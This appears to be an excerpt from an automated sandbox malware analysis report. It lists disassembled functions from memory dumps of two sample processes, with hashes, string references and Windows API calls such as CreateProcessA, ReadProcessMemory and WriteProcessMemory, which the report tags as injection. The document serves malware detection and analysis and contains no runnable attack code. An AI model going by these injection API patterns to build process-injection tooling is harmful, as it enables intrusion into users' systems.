Instruction Fuzzy Hash: 44F17930B002149FDB14DF68C841AAE7BF6FF85705F109549E6069F7A5CBB2E9498BC1

Function 063B0048 Relevance: 3.2, Strings: 2, Instructions: 665COMMON

Download Yara Rule

Strings

la, xrefs: 063B02F2
a, xrefs: 063B04C5

Memory Dump Source

Source File: 00000008.00000002.1890939572.00000000063B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 063B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_63b0000_lZ8NRWShfC.jbxd

Similarity

API ID:
String ID: la$a
API String ID: 0-644286645
Opcode ID: 74cf970fe61e43809d57984c791f173c69f710157b7aef361cb4ea2a8973eb59
Instruction ID: 1bb2831cf8155b950acc1a5f38defd4ba158449a150923af755a8ab010435f46
Opcode Fuzzy Hash: 74cf970fe61e43809d57984c791f173c69f710157b7aef361cb4ea2a8973eb59
Instruction Fuzzy Hash: E44257307007248FCB24AF78D450A6FBAF6FFC5702B409A4CD506AB795CB75A9468BC2

Function 063B04F4 Relevance: 3.0, Strings: 2, Instructions: 500COMMON

Download Yara Rule

Strings

la, xrefs: 063B02F2
a, xrefs: 063B04C5

Memory Dump Source

Source File: 00000008.00000002.1890939572.00000000063B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 063B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_63b0000_lZ8NRWShfC.jbxd

Similarity

API ID:
String ID: la$a
API String ID: 0-644286645
Opcode ID: 25face2074eef5bb0816896006a0b5e9d9bc1b645b0fcd3e1aaa9387abd5737d
Instruction ID: 87d6f68708f926f862d959c80aaae7d173546e4ca10f617427c7e2b2887632cd
Opcode Fuzzy Hash: 25face2074eef5bb0816896006a0b5e9d9bc1b645b0fcd3e1aaa9387abd5737d
Instruction Fuzzy Hash: 0C128A30B007249FCB149F68D441AAE7BF6FF85705F009948E506AF7A5CBB5E9458BC2

Function 063B06CC Relevance: 2.9, Strings: 2, Instructions: 356COMMON

Download Yara Rule

Strings

la, xrefs: 063B02F2
a, xrefs: 063B04C5

Memory Dump Source

Source File: 00000008.00000002.1890939572.00000000063B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 063B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_63b0000_lZ8NRWShfC.jbxd

Similarity

API ID:
String ID: la$a
API String ID: 0-644286645
Opcode ID: 48e848698788c6c92a577ee7878781a1817acc18174545ec4197f5c34345c97a
Instruction ID: e2428dd69e2adfe3a004797638ec7771b3a1168743939d38d768211c3ab28332
Opcode Fuzzy Hash: 48e848698788c6c92a577ee7878781a1817acc18174545ec4197f5c34345c97a
Instruction Fuzzy Hash: 5CE17930B002149FDB449F64C845AAE7BF6FF84704F109459E6029F7A6CBB2E949CBD1

Function 063B0002 Relevance: 2.8, Strings: 2, Instructions: 346COMMON

Download Yara Rule

Strings

la, xrefs: 063B02F2
a, xrefs: 063B04C5

Memory Dump Source

Source File: 00000008.00000002.1890939572.00000000063B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 063B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_63b0000_lZ8NRWShfC.jbxd

Similarity

API ID:
String ID: la$a
API String ID: 0-644286645
Opcode ID: 3a002f4656b09bc4a89dec4351f12f2960dfffeb496e29f2784aac558825c1f7
Instruction ID: e181d276fdbcb5683109734b6d4c8a6f0a77c2f12fe2415d6350897dc763ff63
Opcode Fuzzy Hash: 3a002f4656b09bc4a89dec4351f12f2960dfffeb496e29f2784aac558825c1f7
Instruction Fuzzy Hash: A8D1AB30B013449FDB058F64C856AAE7BF6EF89700F14909AE6019F7A2CBB1D949CBD1

Function 063675E8 Relevance: 1.6, APIs: 1, Instructions: 56libraryCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNELBASE(00000000,?,?,?,?,00000000,00000E20,?,?,063674A6), ref: 06367656

Memory Dump Source

Source File: 00000008.00000002.1890829139.0000000006360000.00000040.00000800.00020000.00000000.sdmp, Offset: 06360000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6360000_lZ8NRWShfC.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 1eaa93c597d57781be269ce25e8ebd4975c5ed8b8d2e98f0cc0af10303938f82
Instruction ID: 48c4ca3387433fcf6b76ffedafddafa38afacfade773f9ddbe963aca0e3bf23d
Opcode Fuzzy Hash: 1eaa93c597d57781be269ce25e8ebd4975c5ed8b8d2e98f0cc0af10303938f82
Instruction Fuzzy Hash: D91126B5C003499FDB10DFAAD844ADFFBF8EB88324F10841AE419A7610D374A546CFA5

Function 06367148 Relevance: 1.6, APIs: 1, Instructions: 53libraryCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNELBASE(00000000,?,?,?,?,00000000,00000E20,?,?,063674A6), ref: 06367656

Memory Dump Source

Source File: 00000008.00000002.1890829139.0000000006360000.00000040.00000800.00020000.00000000.sdmp, Offset: 06360000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6360000_lZ8NRWShfC.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 9e85c52bf66b6487b6d696090f0af385ae57580a9803da62c45b1d292851f7a8
Instruction ID: e3af8f7747478df0cc07c9fec00bf50db4476b8820e1c90707fcaa6b4bd58ea2
Opcode Fuzzy Hash: 9e85c52bf66b6487b6d696090f0af385ae57580a9803da62c45b1d292851f7a8
Instruction Fuzzy Hash: DC1123B5C003498FDB10DF9AC844A9EFBF4EB88324F54842AE419B7211D375A545CFA5

Function 01060CE0 Relevance: 1.6, APIs: 1, Instructions: 52COMMON

Download Yara Rule

APIs

GetConsoleWindow.KERNELBASE ref: 01060D47

Memory Dump Source

Source File: 00000008.00000002.1874008817.0000000001060000.00000040.00000800.00020000.00000000.sdmp, Offset: 01060000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_1060000_lZ8NRWShfC.jbxd

Similarity

API ID: ConsoleWindow
String ID:
API String ID: 2863861424-0
Opcode ID: 06c83971e982e278921641023df9bc7221e6909613816e35d0efd1441a1beff4
Instruction ID: 6e688baab2d76710c77df7fee9c93781941be679155f11f45a5024d561ee6129
Opcode Fuzzy Hash: 06c83971e982e278921641023df9bc7221e6909613816e35d0efd1441a1beff4
Instruction Fuzzy Hash: 171155B19003488FCB20DFAAC4457DFFFF4EB88320F20845AD559A7240CB35A945CBA0

Function 01060CE8 Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

GetConsoleWindow.KERNELBASE ref: 01060D47

Memory Dump Source

Source File: 00000008.00000002.1874008817.0000000001060000.00000040.00000800.00020000.00000000.sdmp, Offset: 01060000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_1060000_lZ8NRWShfC.jbxd

Similarity

API ID: ConsoleWindow
String ID:
API String ID: 2863861424-0
Opcode ID: 80ab8337aefd469e06732e37f91b1e8b50176f59544e61fd17bfded90214831c
Instruction ID: 9ee3ed5307e678092273d8aeaa56642f6565f068dd0fe59dccd9fd971b8e6145
Opcode Fuzzy Hash: 80ab8337aefd469e06732e37f91b1e8b50176f59544e61fd17bfded90214831c
Instruction Fuzzy Hash: 101136B19003098FCB24DFAAC4457DFFFF4EB88324F20841AD559A7240CB35A544CBA5

Function 063B3424 Relevance: 1.3, Instructions: 1322COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1890939572.00000000063B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 063B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_63b0000_lZ8NRWShfC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dc7ed27eef53d615fee37f0e99668766c307e6bbccdde82f70ac510a8404bb27
Instruction ID: 170a158e7c16a1e12c73f5cde69164a3e351b1353e23f5857ee4f9530bd8b815
Opcode Fuzzy Hash: dc7ed27eef53d615fee37f0e99668766c307e6bbccdde82f70ac510a8404bb27
Instruction Fuzzy Hash: A1C1C574B002149FDB45CF68C895AAEBBF6EF88300B1194AAE605DB7A1DB70DC05CB91

Function 063B1308 Relevance: .2, Instructions: 204COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1890939572.00000000063B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 063B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_63b0000_lZ8NRWShfC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b4a8dee463912c1ac4d4899a4016ec309acd921c1815e0a7ac8f6fe1adc65000
Instruction ID: 3f631c99fa445e52dbdf85e2a7a92aaaae311ffe4c2e568f06c7fc3709758aa5
Opcode Fuzzy Hash: b4a8dee463912c1ac4d4899a4016ec309acd921c1815e0a7ac8f6fe1adc65000
Instruction Fuzzy Hash: DB613836B043458FCB549F79D8604BABBF5AFC1311B18856BDA09CBA50EB31C849C7E1

Function 063B3327 Relevance: .1, Instructions: 84COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1890939572.00000000063B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 063B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_63b0000_lZ8NRWShfC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ba088275656687dbc1b96a23df7c58f9e4132c6269b906780e44167aa11be9bb
Instruction ID: b7c66af672783fd41715b632134bc7f93ff842ea79c3287432f6bf82895bcebd
Opcode Fuzzy Hash: ba088275656687dbc1b96a23df7c58f9e4132c6269b906780e44167aa11be9bb
Instruction Fuzzy Hash: 7C315E75B401149FDB54CF68D884DAEBBB2FF88714F1680A4EA099F762DA31EC05CB90

Function 00E0D054 Relevance: .1, Instructions: 77COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1871305559.0000000000E0D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E0D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_e0d000_lZ8NRWShfC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5b523492bfb518209040b55b776a5b290fa7711ef2bee3ca59d751735fc5c500
Instruction ID: 7d859e13fcb7eb55108da533c839ee49e3292f4ea157da18462a4e811e51d69e
Opcode Fuzzy Hash: 5b523492bfb518209040b55b776a5b290fa7711ef2bee3ca59d751735fc5c500
Instruction Fuzzy Hash: ED213671508200EFCB05DF94DCC0B26BFA6FB88314F24C668E9091B286C336D856CBA1

Function 00E1D4A4 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1871378649.0000000000E1D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E1D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_e1d000_lZ8NRWShfC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7f010842a602e41279c3062dd54ee395f242d52760fba265f5f99f09f52877d7
Instruction ID: 0e572e0820f67805d9eef0672135ea5638dd80b95905377d9747d2185f96fe6b
Opcode Fuzzy Hash: 7f010842a602e41279c3062dd54ee395f242d52760fba265f5f99f09f52877d7
Instruction Fuzzy Hash: C52107B1608204EFCB05DF14D9C4B65BBA6FB94318F24C66DD90A5B352C736D886CB61

Function 00E1D2F4 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1871378649.0000000000E1D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E1D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_e1d000_lZ8NRWShfC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 18c084b6d91fbab6400dc52c53572ff3e21e5f71c918a1c824198a325a02358a
Instruction ID: 859c3d6bd371ca4128d3a7a9a48f646cab6832cb979f4d116bd6570ac6cdda7e
Opcode Fuzzy Hash: 18c084b6d91fbab6400dc52c53572ff3e21e5f71c918a1c824198a325a02358a
Instruction Fuzzy Hash: 16213BB1608304DFCB01DF14DCC4B5ABB65FB94324F24C669D8195B345C33AD886C6A2

Function 00E0D04F Relevance: .1, Instructions: 58COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1871305559.0000000000E0D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E0D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_e0d000_lZ8NRWShfC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 85e589ff89d53fefa928555ed391731ad88d74b974b24a20ba51987b010bfd2c
Instruction ID: 99af64ac69f013d74eddbde7e37ce6586ebe028110445ea4e9d3d0cdbc5224ee
Opcode Fuzzy Hash: 85e589ff89d53fefa928555ed391731ad88d74b974b24a20ba51987b010bfd2c
Instruction Fuzzy Hash: 4621DF76504280DFCF06CF40D9C4B16BF72FB88318F24C2A9E9491B296C33AD866CB91

Function 00E1D2EF Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1871378649.0000000000E1D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E1D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_e1d000_lZ8NRWShfC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 118f051af2fa4d3b71157da4c1d703aecab942a5cdb4903c1e78cbe3821e71d1
Instruction ID: 5b479ad54b99d6ce399f9222dda51185b970cb25f817bdfd8c53895a6c1edafb
Opcode Fuzzy Hash: 118f051af2fa4d3b71157da4c1d703aecab942a5cdb4903c1e78cbe3821e71d1
Instruction Fuzzy Hash: 2811C475508280CFDB11CF14D9C4B59FF71FB84324F24C6AAD8495B656C33AD84ACBA2

Function 00E1D49F Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1871378649.0000000000E1D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E1D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_e1d000_lZ8NRWShfC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5bc96cb8dbab4a459d35c79ebbe5ba2a9dff6c5f08df11ade35b896c854f64ae
Instruction ID: 505a52b0cca41751a3a34b818d045157e5350cc6cdb014a7b67980da534272c6
Opcode Fuzzy Hash: 5bc96cb8dbab4a459d35c79ebbe5ba2a9dff6c5f08df11ade35b896c854f64ae
Instruction Fuzzy Hash: 6B11D075508240CFCB02CF14C9C4B15BF72FB84328F24C6ADD8494B652C33AD84ACB51

Function 00E0DAD1 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1871305559.0000000000E0D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E0D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_e0d000_lZ8NRWShfC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9581b67dc62b90d13ffc3fa12a2bcef6979fafc1abf659e57b510e6e6d66bd5e
Instruction ID: 7e39e36ab1170471518eaeb896394800460f6fe3e53f76dedc07fdea2bfef5d6
Opcode Fuzzy Hash: 9581b67dc62b90d13ffc3fa12a2bcef6979fafc1abf659e57b510e6e6d66bd5e
Instruction Fuzzy Hash: 5601F77110C344AAE7208A99CC84B66BFE8DF60365F18C419EC0D2A2C2C6749880CB71

Function 00E0DAD0 Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1871305559.0000000000E0D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E0D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_e0d000_lZ8NRWShfC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fee193a14aa2af2e03eebd26d2a2516c0b2d86c806939522fd2a661baafe63b0
Instruction ID: 7d584795429d987ceadecc11c741adc06e0ead7c788d0c34e03af1d1af94e5cc
Opcode Fuzzy Hash: fee193a14aa2af2e03eebd26d2a2516c0b2d86c806939522fd2a661baafe63b0
Instruction Fuzzy Hash: 6DF0C272408344AAE7208A4ACC84B62FF98EF60334F18C05AED0C1E2C2C2789884CB71

Non-executed Functions

Function 063B1536 Relevance: 10.3, Strings: 8, Instructions: 329COMMON

Download Yara Rule

Strings

|\, xrefs: 063B1708
D[, xrefs: 063B180E
L\, xrefs: 063B1666
$], xrefs: 063B1945
d\, xrefs: 063B17AA
l], xrefs: 063B1977
<], xrefs: 063B169C
T], xrefs: 063B173E

Memory Dump Source

Source File: 00000008.00000002.1890939572.00000000063B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 063B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_63b0000_lZ8NRWShfC.jbxd

Similarity

API ID:
String ID: $]$<]$D[$L\$T]$d\$l]$|\
API String ID: 0-1079412102
Opcode ID: 983cf75c0d259fff725dc77f55df77ffe64defd287006333a66194408f856bf7
Instruction ID: 0b4fa036af64a50a855990b9dad3502e2326a19611c3268032f787a89678bbf5
Opcode Fuzzy Hash: 983cf75c0d259fff725dc77f55df77ffe64defd287006333a66194408f856bf7
Instruction Fuzzy Hash: 8BC12A35B10604EFCB04DF58C995E9DBBB2FF89700B909059EA05EB7A1C672EC44CB95

Function 063B0D50 Relevance: 10.3, Strings: 8, Instructions: 293COMMON

Download Yara Rule

Strings

$^q, xrefs: 063B0F50
$^q, xrefs: 063B0E42
$^q, xrefs: 063B0F76
$^q, xrefs: 063B0E1C
$^q, xrefs: 063B0E4E
$^q, xrefs: 063B0DCC
$^q, xrefs: 063B0F00
$^q, xrefs: 063B0F82

Memory Dump Source

Source File: 00000008.00000002.1890939572.00000000063B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 063B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_63b0000_lZ8NRWShfC.jbxd

Similarity

API ID:
String ID: $^q$$^q$$^q$$^q$$^q$$^q$$^q$$^q
API String ID: 0-3823777903
Opcode ID: 083be5d20a38de15766f3ef860357b1cc55748752fed3ea45752f33e629de2a6
Instruction ID: 2cd275da54e93b5a195d3bf3cd3aa1e2383bf30ff28f3b086a210f15c2b40468
Opcode Fuzzy Hash: 083be5d20a38de15766f3ef860357b1cc55748752fed3ea45752f33e629de2a6
Instruction Fuzzy Hash: 81B1E030B006498FDB58CB69C854ABEBBF6BF88300B14946AE506DB7A1DB35DC05CB91

Analysis Process: TmfmVKU.exePID: 7308, Parent PID: 1044COMMON

Execution Graph

Execution Coverage:	10.8%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	235
Total number of Limit Nodes:	12

Executed Functions

Function 01A6D031 Relevance: 6.1, APIs: 4, Instructions: 132
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 01A6D0BE
GetCurrentThread.KERNEL32 ref: 01A6D0FB
GetCurrentProcess.KERNEL32 ref: 01A6D138
GetCurrentThreadId.KERNEL32 ref: 01A6D191

Memory Dump Source

Source File: 0000000A.00000002.1855723967.0000000001A60000.00000040.00000800.00020000.00000000.sdmp, Offset: 01A60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1a60000_TmfmVKU.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: 8131e8ad68cacede002a774363203abbd31a528fe1413bfba0ce82b2198b5d45
Instruction ID: 4c181c7af1db2f8709238fdb18e456960b553d86fa7f203721a3dd94ea2c250f
Opcode Fuzzy Hash: 8131e8ad68cacede002a774363203abbd31a528fe1413bfba0ce82b2198b5d45
Instruction Fuzzy Hash: 785155B0A00349CFDB18DFA9D548B9EBFF6FF88314F208459E009A7290DB745985CB65

Function 01A6D040 Relevance: 6.1, APIs: 4, Instructions: 128
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 01A6D0BE
GetCurrentThread.KERNEL32 ref: 01A6D0FB
GetCurrentProcess.KERNEL32 ref: 01A6D138
GetCurrentThreadId.KERNEL32 ref: 01A6D191

Memory Dump Source

Source File: 0000000A.00000002.1855723967.0000000001A60000.00000040.00000800.00020000.00000000.sdmp, Offset: 01A60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1a60000_TmfmVKU.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: bfe735de8e4f3ac8d4c2c1fb9a05a68486ff55c946f33bedb184e3076501bd91
Instruction ID: 2a0a9e462eb01567b4f7a37addc3b6679fdcc1eaad82ef5b304cdc1608c44bd6
Opcode Fuzzy Hash: bfe735de8e4f3ac8d4c2c1fb9a05a68486ff55c946f33bedb184e3076501bd91
Instruction Fuzzy Hash: 2A5135B09003098FDB14DFA9D548B9EBFF6FB48314F208459E419A7290DB749984CB65

Function 031A193C Relevance: 1.7, APIs: 1, Instructions: 244
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNELBASE(?,?,?,?,?,?,?,?,?,?), ref: 031A1B7E

Memory Dump Source

Source File: 0000000A.00000002.1856075296.00000000031A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 031A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_31a0000_TmfmVKU.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 4a0c4a87cb58af95939b5d3bc555ab6f4d61f0c979536261a36a26b5a16a60c4
Instruction ID: f212f74e352c70864e3e3dac49c9ed961d480cb15ad0ce87a18765a09b2f32f2
Opcode Fuzzy Hash: 4a0c4a87cb58af95939b5d3bc555ab6f4d61f0c979536261a36a26b5a16a60c4
Instruction Fuzzy Hash: 4EA19A75D0075A9FDB20CF6CC8417EDBBB2BF48311F0485AAD819A7280DB749985CF91

Function 031A1948 Relevance: 1.7, APIs: 1, Instructions: 243
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNELBASE(?,?,?,?,?,?,?,?,?,?), ref: 031A1B7E

Memory Dump Source

Source File: 0000000A.00000002.1856075296.00000000031A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 031A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_31a0000_TmfmVKU.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 2480bc107ac5049c353f6c4e4398652ea4611349598d31490e604cd6183f8d85
Instruction ID: c9a455be96298dd9ceae81472e97bcad78b5cdd1d7d2f6e6c132b2ab1d174dec
Opcode Fuzzy Hash: 2480bc107ac5049c353f6c4e4398652ea4611349598d31490e604cd6183f8d85
Instruction Fuzzy Hash: B7918975D0075A9FDB20CF68C841BEDBBB2FF48311F0485AAE819A7280DB749985CF91

Function 01A6ADA8 Relevance: 1.7, APIs: 1, Instructions: 197
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNELBASE(00000000), ref: 01A6AFFE

Memory Dump Source

Source File: 0000000A.00000002.1855723967.0000000001A60000.00000040.00000800.00020000.00000000.sdmp, Offset: 01A60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1a60000_TmfmVKU.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 41185ea425b72ce606a8e4dd310c9617a3d1effeb862f865b70c8d1f1d3cb019
Instruction ID: 1b4dc2470cb06519efdce5d61975a913d21ae127d89f120703153ff641752e79
Opcode Fuzzy Hash: 41185ea425b72ce606a8e4dd310c9617a3d1effeb862f865b70c8d1f1d3cb019
Instruction Fuzzy Hash: 197165B0A00B158FD724DF29D54479ABBF6FF88314F008A2DD49AE7A50DB34E949CB90

Function 01A6590C Relevance: 1.6, APIs: 1, Instructions: 99
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateActCtxA.KERNEL32(?), ref: 01A659C9

Memory Dump Source

Source File: 0000000A.00000002.1855723967.0000000001A60000.00000040.00000800.00020000.00000000.sdmp, Offset: 01A60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1a60000_TmfmVKU.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: 61b9ee2cbf0aa7feb3ef005c65e135b3b864f385974497e3511a7d0dceaf103e
Instruction ID: aff96234f5f81e034d4248336c1152c2ccd9402e6c0be846958a7cb3bd907a2a
Opcode Fuzzy Hash: 61b9ee2cbf0aa7feb3ef005c65e135b3b864f385974497e3511a7d0dceaf103e
Instruction Fuzzy Hash: 5541E2B1C00719CFDB24DFA9C884ADDBBF5BF49314F20805AD409AB255DB756946CF90

Function 01A644C4 Relevance: 1.6, APIs: 1, Instructions: 96
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateActCtxA.KERNEL32(?), ref: 01A659C9

Memory Dump Source

Source File: 0000000A.00000002.1855723967.0000000001A60000.00000040.00000800.00020000.00000000.sdmp, Offset: 01A60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1a60000_TmfmVKU.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: 87aa19308da70e9965c0a5bfb726c89e3b6ff46b58a9231ce15374b8ba009375
Instruction ID: 102be4c4efbe1cfd88c917fec119e2c1a81ebb0423d654f99f284ede89805a70
Opcode Fuzzy Hash: 87aa19308da70e9965c0a5bfb726c89e3b6ff46b58a9231ce15374b8ba009375
Instruction Fuzzy Hash: 5041CFB0C0071ECEDB24DFA9C884A9DBBF5BF49304F24806AD409AB255DB756945CF90

Function 031A16B8 Relevance: 1.6, APIs: 1, Instructions: 70
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNELBASE(?,?,00000000,?,?), ref: 031A1750

Memory Dump Source

Source File: 0000000A.00000002.1856075296.00000000031A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 031A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_31a0000_TmfmVKU.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: f312e3bcdbe6cbf93472e99ce50ec20f39e67d5d8bf68647a32747eb2bdd19b1
Instruction ID: dac58bb0785a0602d0700608f8cefd121abea4280651e80bc6976c838e151394
Opcode Fuzzy Hash: f312e3bcdbe6cbf93472e99ce50ec20f39e67d5d8bf68647a32747eb2bdd19b1
Instruction Fuzzy Hash: DA2146B59003499FCB10DFA9C985BDEBBF1FF48311F14842AE959A7240C7789944CBA0

Function 031A16C0 Relevance: 1.6, APIs: 1, Instructions: 69
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNELBASE(?,?,00000000,?,?), ref: 031A1750

Memory Dump Source

Source File: 0000000A.00000002.1856075296.00000000031A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 031A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_31a0000_TmfmVKU.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: f5e1c6b0238550636735486789f6199d0143861cf4d1332189f616873cf48761
Instruction ID: 27e01eb3033fb68a4d9a2c91f0eccf3b58820109e80abd5310b6f3e07af35e05
Opcode Fuzzy Hash: f5e1c6b0238550636735486789f6199d0143861cf4d1332189f616873cf48761
Instruction Fuzzy Hash: 49214AB59003499FCB10DFA9C885BDEFBF5FF48310F148429E919A7240C7789954CBA4

Function 031A17A8 Relevance: 1.6, APIs: 1, Instructions: 65
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ReadProcessMemory.KERNELBASE(?,?,?,?,?), ref: 031A1830

Memory Dump Source

Source File: 0000000A.00000002.1856075296.00000000031A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 031A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_31a0000_TmfmVKU.jbxd

Similarity

API ID: MemoryProcessRead
String ID:
API String ID: 1726664587-0
Opcode ID: da254246c28990af80a48a27c43fefbe7f3cdbd9bed30397dde971216e2e7961
Instruction ID: 138431b68bce4a7a6cc9422baecbd98ab489c88ccb50f875b3383f1e85404846
Opcode Fuzzy Hash: da254246c28990af80a48a27c43fefbe7f3cdbd9bed30397dde971216e2e7961
Instruction Fuzzy Hash: C52136B1C002499FCB10DFA9C881AEEBBF1FF48310F54842AE959A7240C738A941CBA1

Function 01A6D689 Relevance: 1.6, APIs: 1, Instructions: 64
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 01A6D717

Memory Dump Source

Source File: 0000000A.00000002.1855723967.0000000001A60000.00000040.00000800.00020000.00000000.sdmp, Offset: 01A60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1a60000_TmfmVKU.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: aaeb12b0b611544b7b1de09f8942ada7db54ea45efbff78781ee7ad30780d49a
Instruction ID: e6421be47fde61342f4c348abe1b8d863742021938ce58c9215763785ffc3814
Opcode Fuzzy Hash: aaeb12b0b611544b7b1de09f8942ada7db54ea45efbff78781ee7ad30780d49a
